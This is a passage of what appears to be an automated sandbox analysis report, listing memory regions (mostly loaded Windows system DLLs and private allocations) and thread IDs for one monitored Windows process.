entry_point = 0x7ffe5c836f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6622 start_va = 0x25d7e330000 end_va = 0x25d7e330fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e330000" filename = "" Region: id = 6623 start_va = 0x6476a00000 end_va = 0x6476afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476a00000" filename = "" Region: id = 6624 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6625 start_va = 0x7ffe5c260000 end_va = 0x7ffe5c2b5fff monitored = 0 entry_point = 0x7ffe5c270bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6626 start_va = 0x7ffe57100000 end_va = 0x7ffe5710ffff monitored = 0 entry_point = 0x7ffe57102c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 6627 start_va = 0x7ffe56bc0000 end_va = 0x7ffe56c14fff monitored = 0 entry_point = 0x7ffe56bcfc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 6628 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6629 start_va = 0x7ffe5a7c0000 end_va = 0x7ffe5a7c7fff monitored = 0 entry_point = 0x7ffe5a7c13e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 6630 start_va = 0x7ffe56b20000 end_va = 0x7ffe56b46fff monitored = 0 entry_point = 0x7ffe56b23bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 6631 start_va = 0x7ffe60450000 end_va = 0x7ffe604abfff monitored = 0 entry_point = 0x7ffe6046b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 6632 start_va = 0x7ffe5e0f0000 end_va = 0x7ffe5f64efff monitored = 0 entry_point = 0x7ffe5e2511f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6633 start_va = 0x7ffe5c6b0000 end_va = 0x7ffe5c6cefff monitored = 0 entry_point = 0x7ffe5c6b5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6634 start_va = 0x7ffe5c360000 end_va = 0x7ffe5c36bfff monitored = 0 entry_point = 0x7ffe5c3627e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 6635 start_va = 0x7ffe56ae0000 end_va = 0x7ffe56b1dfff monitored = 0 entry_point = 0x7ffe56aea050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 6636 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6637 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6638 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6639 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6640 start_va = 0x7ffe56ad0000 end_va = 0x7ffe56adbfff monitored = 0 entry_point = 0x7ffe56ad14d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 6641 start_va = 0x6476b00000 end_va = 0x6476bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476b00000" filename = "" Region: id = 6642 start_va = 0x7ffe56ab0000 end_va = 0x7ffe56ac5fff monitored = 0 entry_point = 0x7ffe56ab1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 6643 start_va = 0x6476c00000 end_va = 0x6476cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476c00000" filename = "" Region: id = 6644 start_va = 0x7ffe56a10000 end_va = 0x7ffe56a22fff monitored = 0 entry_point = 0x7ffe56a157f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 6645 start_va = 0x7ffe5bef0000 end_va = 0x7ffe5bf13fff monitored = 0 entry_point = 0x7ffe5bef3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6646 start_va = 0x6476d00000 end_va = 0x6476dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476d00000" filename = "" Region: id = 6647 start_va = 0x7ffe569e0000 end_va = 0x7ffe56a0dfff monitored = 0 entry_point = 0x7ffe569e7550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 6648 start_va = 0x7ffe5ca30000 end_va = 0x7ffe5ca50fff monitored = 0 entry_point = 0x7ffe5ca40250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 6649 start_va = 0x7ffe568f0000 end_va = 0x7ffe569d5fff monitored = 0 entry_point = 0x7ffe5690cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 6650 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 6651 start_va = 0x6476e00000 end_va = 0x6476efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476e00000" filename = "" Region: id = 6652 start_va = 0x7ffe568b0000 end_va = 0x7ffe568c6fff monitored = 0 entry_point = 0x7ffe568b5630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6653 start_va = 0x25d7e340000 end_va = 0x25d7e340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e340000" filename = "" Region: id = 6668 start_va = 0x6476f00000 end_va = 0x6476f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476f00000" filename = "" Region: id = 6669 start_va = 0x6476f80000 end_va = 0x647707ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006476f80000" filename = "" Region: id = 6670 start_va = 0x25d7e350000 end_va = 0x25d7e350fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e350000" filename = "" Region: id = 6671 start_va = 0x25d7e350000 end_va = 0x25d7e350fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e350000" filename = "" Region: id = 6672 start_va = 0x7ffe56010000 end_va = 0x7ffe56050fff monitored = 0 entry_point = 0x7ffe56014840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 6673 start_va = 0x7ffe55ff0000 end_va = 0x7ffe5600ffff monitored = 0 entry_point = 0x7ffe55ff39a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 6674 start_va = 0x7ffe5b930000 end_va = 0x7ffe5b956fff monitored = 0 entry_point = 0x7ffe5b937940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6675 start_va = 0x25d7e350000 end_va = 0x25d7e350fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e350000" filename = "" Region: id = 6676 start_va = 0x7ffe55eb0000 end_va = 0x7ffe55ee6fff monitored = 0 entry_point = 0x7ffe55eb6020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 6677 start_va = 0x7ffe55e50000 end_va = 0x7ffe55ea4fff monitored = 0 entry_point = 0x7ffe55e53fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 6678 start_va = 0x25d7f300000 end_va = 0x25d7f3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f300000" filename = "" Region: id = 6679 start_va = 0x6477080000 end_va = 0x647717ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477080000" filename = "" Region: id = 6680 start_va = 0x7ffe56e20000 end_va = 0x7ffe56e2bfff monitored = 0 entry_point = 0x7ffe56e22830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 6681 start_va = 0x7ffe55d20000 end_va = 0x7ffe55d39fff monitored = 0 entry_point = 0x7ffe55d22cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 6682 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6683 start_va = 0x25d7f400000 end_va = 0x25d7f5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f400000" filename = "" Region: id = 6684 start_va = 0x25d7f400000 end_va = 0x25d7f4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f400000" filename = "" Region: id = 6685 start_va = 0x7ffe55d00000 end_va = 0x7ffe55d10fff monitored = 0 entry_point = 0x7ffe55d07ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 6686 start_va = 0x7ffe55cd0000 end_va = 0x7ffe55cf4fff monitored = 0 entry_point = 0x7ffe55ce2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 6687 start_va = 0x7ffe55c10000 end_va = 0x7ffe55cc0fff monitored = 0 entry_point = 0x7ffe55c888b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 6688 start_va = 0x7ffe55bd0000 end_va = 0x7ffe55c08fff monitored = 0 entry_point = 0x7ffe55bd9c90 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 6689 start_va = 0x7ffe55bb0000 end_va = 0x7ffe55bc0fff monitored = 0 entry_point = 0x7ffe55bb3e10 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 6690 start_va = 0x6477180000 end_va = 0x647727ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477180000" filename = "" Region: id = 6691 start_va = 0x7ffe57f70000 end_va = 0x7ffe582f1fff monitored = 0 entry_point = 0x7ffe57fc1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 6692 start_va = 0x7ffe55b90000 end_va = 0x7ffe55ba1fff monitored = 0 entry_point = 0x7ffe55b99260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 6707 start_va = 0x7ffe55ae0000 end_va = 0x7ffe55b8dfff monitored = 0 entry_point = 0x7ffe55af80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 6708 start_va = 0x7ffe5b680000 end_va = 0x7ffe5b69bfff monitored = 0 entry_point = 0x7ffe5b6837a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 6709 start_va = 0x25d7e360000 end_va = 0x25d7e36cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 6710 start_va = 0x6477280000 end_va = 0x64772fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477280000" filename = "" Region: id = 6711 start_va = 0x7ffe5b6a0000 end_va = 0x7ffe5b6d1fff monitored = 0 entry_point = 0x7ffe5b6ab0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 6716 start_va = 0x7ffe56b50000 end_va = 0x7ffe56bb3fff monitored = 0 entry_point = 0x7ffe56b65ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6717 start_va = 0x7ffe559a0000 end_va = 0x7ffe55a3afff monitored = 0 entry_point = 0x7ffe559a7220 region_type = mapped_file name = "settingsync.dll" filename = "\\Windows\\System32\\SettingSync.dll" (normalized: "c:\\windows\\system32\\settingsync.dll") Region: id = 6718 start_va = 0x25d7e370000 end_va = 0x25d7e371fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000025d7e370000" filename = "" Region: id = 6719 start_va = 0x25d7f500000 end_va = 0x25d7f5dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6734 start_va = 0x6477300000 end_va = 0x64773fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477300000" filename = "" Region: id = 6735 start_va = 0x7ffe5c9f0000 end_va = 0x7ffe5c9fafff monitored = 0 entry_point = 0x7ffe5c9f19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6736 start_va = 0x7ffe55830000 end_va = 0x7ffe55840fff monitored = 0 entry_point = 0x7ffe558328d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 6737 start_va = 0x6477400000 end_va = 0x64774fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477400000" filename = "" Region: id = 6738 start_va = 0x7ffe55640000 end_va = 0x7ffe556d9fff monitored = 0 entry_point = 0x7ffe5565ada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 6739 start_va = 0x6477500000 end_va = 0x64775fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477500000" filename = "" Region: id = 6740 start_va = 0x6477600000 end_va = 0x647767ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477600000" filename = "" Region: id = 6741 start_va = 0x25d7f5e0000 end_va = 0x25d7f7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f5e0000" filename = "" Region: id = 6742 start_va = 0x25d7f600000 end_va = 0x25d7f6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7f600000" filename = "" Region: id = 6743 start_va = 0x7ffe5b4f0000 end_va = 0x7ffe5b675fff monitored = 0 entry_point = 0x7ffe5b53d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6744 start_va = 0x25d7e380000 end_va = 0x25d7e383fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6745 start_va = 0x25d7e3a0000 end_va = 0x25d7e3e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 6746 start_va = 0x25d7e3f0000 end_va = 0x25d7e3f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6747 start_va = 0x25d7eaa0000 end_va = 0x25d7eb2dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 6748 start_va = 0x25d7e4e0000 end_va = 0x25d7e4f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 6749 start_va = 0x7ffe56a30000 end_va = 0x7ffe56aa9fff monitored = 0 entry_point = 0x7ffe56a57630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 6827 start_va = 0x7ffe5cdb0000 end_va = 0x7ffe5ce48fff monitored = 0 entry_point = 0x7ffe5cddf4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 6828 start_va = 0x25d7e400000 end_va = 0x25d7e401fff monitored = 0 entry_point = 0x25d7e405630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6829 start_va = 0x25d7ea20000 end_va = 0x25d7ea24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 6830 start_va = 0x25d7ea90000 end_va = 0x25d7ea96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7ea90000" filename = "" Region: id = 6938 start_va = 0x7ffe55000000 end_va = 0x7ffe5500dfff monitored = 0 entry_point = 0x7ffe55001460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 6951 start_va = 0x7ffe55ef0000 end_va = 0x7ffe55faffff monitored = 0 entry_point = 0x7ffe55f1fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 6952 start_va = 0x25d7e400000 end_va = 0x25d7e400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000025d7e400000" filename = "" Region: id = 6954 start_va = 0x6477680000 end_va = 0x647777ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477680000" filename = "" Region: id = 6955 start_va = 0x7ffe54aa0000 end_va = 0x7ffe54af1fff monitored = 0 entry_point = 0x7ffe54aa38e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 6956 start_va = 0x7ffe54a70000 end_va = 0x7ffe54a9cfff monitored = 0 entry_point = 0x7ffe54a72290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 6957 start_va = 0x7ffe54a60000 end_va = 0x7ffe54a68fff monitored = 0 entry_point = 0x7ffe54a61ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 6958 start_va = 0x7ffe55fb0000 end_va = 0x7ffe55fe7fff monitored = 0 entry_point = 0x7ffe55fc8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6959 start_va = 0x25d7e400000 end_va = 0x25d7e401fff monitored = 0 entry_point = 0x25d7e405630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6960 start_va = 0x25d7ea20000 end_va = 0x25d7ea24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 6961 start_va = 0x7ffe54a50000 end_va = 0x7ffe54a5ffff monitored = 0 entry_point = 0x7ffe54a51700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 6962 start_va = 0x7ffe5cf80000 end_va = 0x7ffe5d005fff monitored = 0 entry_point = 0x7ffe5cf8d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 6963 start_va = 0x7ffe5bd70000 end_va = 0x7ffe5bda1fff monitored = 0 entry_point = 0x7ffe5bd82340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 6966 start_va = 0x25d7e400000 end_va = 0x25d7e401fff monitored = 0 entry_point = 0x25d7e405630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 6967 start_va = 0x25d7ea20000 end_va = 0x25d7ea24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 6968 start_va = 0x7ffe54fb0000 end_va = 0x7ffe54ff3fff monitored = 0 entry_point = 0x7ffe54fbc010 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 6969 start_va = 0x7ffe5a8b0000 end_va = 0x7ffe5a96dfff monitored = 0 entry_point = 0x7ffe5a8f2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 6981 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7246 start_va = 0x7ffe5bee0000 end_va = 0x7ffe5beebfff monitored = 0 entry_point = 0x7ffe5bee2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 7371 start_va = 0x6477780000 end_va = 0x64777fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477780000" filename = "" Region: id = 7515 start_va = 0x6477800000 end_va = 0x647787ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006477800000" filename = "" Region: id = 7639 start_va = 0x7ffe52800000 end_va = 0x7ffe52aa2fff monitored = 0 entry_point = 0x7ffe52826190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 7640 start_va = 0x7ffe52760000 end_va = 0x7ffe527f3fff monitored = 0 entry_point = 0x7ffe52799210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 7899 start_va = 0x7ffe5ae00000 end_va = 0x7ffe5ae13fff monitored = 0 entry_point = 0x7ffe5ae05080 region_type = mapped_file name = "windows.staterepositorybroker.dll" filename = "\\Windows\\System32\\Windows.StateRepositoryBroker.dll" (normalized: "c:\\windows\\system32\\windows.staterepositorybroker.dll") Region: id = 7955 start_va = 0x7ffe59530000 end_va = 0x7ffe5963dfff monitored = 0 entry_point = 0x7ffe5957eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 7956 start_va = 0x7ffe57f70000 end_va = 0x7ffe582f1fff monitored = 0 entry_point = 0x7ffe57fc1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 7957 start_va = 0x7ffe59480000 end_va = 0x7ffe59528fff monitored = 0 entry_point = 0x7ffe594a9010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 7959 start_va = 0x7ffe5b430000 end_va = 0x7ffe5b496fff monitored = 0 entry_point = 0x7ffe5b44e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Thread: id = 400 os_tid = 0x364 Thread: id = 401 os_tid = 0x388 Thread: id = 402 os_tid = 0x3f4 Thread: id = 403 os_tid = 0x14c Thread: id = 404 os_tid = 0x170 Thread: id = 405 os_tid = 0x16c Thread: id = 406 os_tid = 0x1c8 Thread: id = 407 os_tid = 0x1b0 Thread: id = 408 os_tid = 0x1ac Thread: id = 409 os_tid = 0x20c Thread: id = 410 os_tid = 0x8 Thread: id = 411 os_tid = 0x260 Thread: id = 412 os_tid = 0x25c Thread: id = 413 os_tid = 0x264 Thread: id = 414 os_tid = 0x27c Thread: id = 415 os_tid = 0x2e8 Thread: id = 416 os_tid = 0x300 Thread: id = 417 os_tid = 0x148 Thread: id = 418 os_tid = 0x128 Thread: id = 419 os_tid = 0x418 Thread: id = 420 os_tid = 0x424 Thread: id = 421 os_tid = 0x444 Thread: id = 422 os_tid = 0x474 Thread: id = 423 os_tid = 0x484 Thread: id = 425 os_tid = 0x494 Thread: id = 427 os_tid = 0x4f4 Thread: id = 428 os_tid = 0x514 Thread: id = 429 os_tid = 0x4a8 Thread: id = 430 os_tid = 0x51c Thread: id = 455 os_tid = 0x520 Thread: id = 462 os_tid = 0x5ec Thread: id = 521 os_tid = 0x750 Thread: id = 541 os_tid = 0x7d4 